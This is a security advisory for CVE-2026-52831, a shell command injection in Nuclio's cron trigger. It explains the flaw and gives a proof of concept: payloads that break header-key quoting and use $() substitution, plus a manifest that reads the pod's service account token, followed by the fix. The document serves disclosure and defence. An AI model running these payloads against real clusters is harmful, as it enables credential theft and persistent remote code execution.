CVE-2026-52831: Nuclio Cron Trigger OS Command Injection (Persistent RCE)
Nuclio's Kubernetes cron trigger builds a shell command string from unsanitized user input, letting anyone with Dashboard access run arbitrary commands inside CronJob pods on every scheduled tick, and
The problem
When a NuclioFunction with a cron trigger is reconciled, the controller calls `generateCronTriggerCronJobSpec` in `pkg/platform/kube/functionres/lazy.go` and builds a curl invocation string from trigger attributes. That string is stored verbatim as the `args` of a Kubernetes CronJob container running `/bin/sh -c <command>`.
Two fields flow into the string without adequate sanitization. Header keys from `event.headers` are interpolated directly inside double-quoted shell arguments, so a key containing `"` breaks quoting context and injects raw shell syntax. The event body is passed through `strconv.Quote`, which escapes `"` and `\` but not `$`, `(`, or `)`, leaving command substitution fully intact.
Because the resulting CronJob carries no `ownerReferences`, Kubernetes cascade deletion does not remove it, and an injected CronJob keeps firing even after the source function is deleted.
Proof of concept
A working proof-of-concept for CVE-2026-52831 in github.com/nuclio/nuclio, with the exact payload below.
# Path A: header key injection
# Set event.headers key to:
X-Inject"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo "
# Resulting /bin/sh -c argument (from verified CronJob .args):
curl --silent --header "X-Inject"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo ": marker" ...
# Path B: body command substitution
# Set event.body to:
$(id 1>&2; echo BODY_INJECTION_PROOF)
# Resulting /bin/sh -c argument (from verified CronJob .args):
echo "$(id 1>&2; echo BODY_INJECTION_PROOF)" > /tmp/eventbody.out && curl ...
# NuclioFunction manifest triggering Path A:
apiVersion: nuclio.io/v1beta1
kind: NuclioFunction
metadata:
name: rce-demo
namespace: nuclio
labels:
nuclio.io/project-name: default
spec:
image: placeholder-function:latest
runtime: python:3.9
handler: main:handler
triggers:
cron-inject:
kind: cron
attributes:
schedule: "*/1 * * * *"
event:
headers:
'X-Inject"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo "': markerPath A works because `headerKey` is concatenated directly inside a `fmt.Sprintf` double-quoted shell argument with no escaping at `lazy.go:2150`. A key containing `"` terminates the quoting context, and the remainder is parsed as raw shell syntax by `/bin/sh`.
Path B works because `strconv.Quote` wraps the body in double quotes and escapes `"` and `\`, but Go's standard library makes no guarantee about shell metacharacters. The characters `$`, `(`, and `)` pass through untouched, so `$(cmd)` becomes the literal string `"$(cmd)"` in Go, which `/bin/sh` expands as command substitution at execution time (`lazy.go:2188-2192`).
The root cause in both cases is the same: building a shell command by string concatenation and then passing it to `/bin/sh -c` (the sink at `lazy.go:2212`). The persistence issue is a separate design flaw: the controller explicitly notes that CronJobs have no `ownerReferences`, so Kubernetes cascade deletion cannot clean them up automatically.
The fix
Upgrade to Nuclio 1.16.4 (patch commit `3356b86a8bfa`). The preferred fix is to replace the `/bin/sh -c <string>` invocation with an exec-format argument list, passing each curl flag as a separate element of `[]string` so the shell is never involved and no quoting or escaping is needed.
If a shell invocation must be retained, all user-supplied values must be properly POSIX-quoted before interpolation. As a temporary workaround, restrict Dashboard access to trusted networks and avoid creating functions with `kind: cron` triggers.
Related research
- high · 8.7CVE-2026-50197CVE-2026-50197: Skipper opaAuthorizeRequestWithBody OPA Policy Bypass via Chunked Encoding
- critical · 9.6CVE-2026-53649CVE-2026-53649: Joro Unauthenticated Cross-Origin Plugin Upload RCE
- critical · 9.6CVE-2026-53552CVE-2026-53552: Goploy Cross-Namespace IDOR and RCE via Body-Controlled Project ID
- high · 7.7CVE-2026-53553CVE-2026-53553: Goploy Arbitrary File Read via Path Traversal in /deploy/fileDiff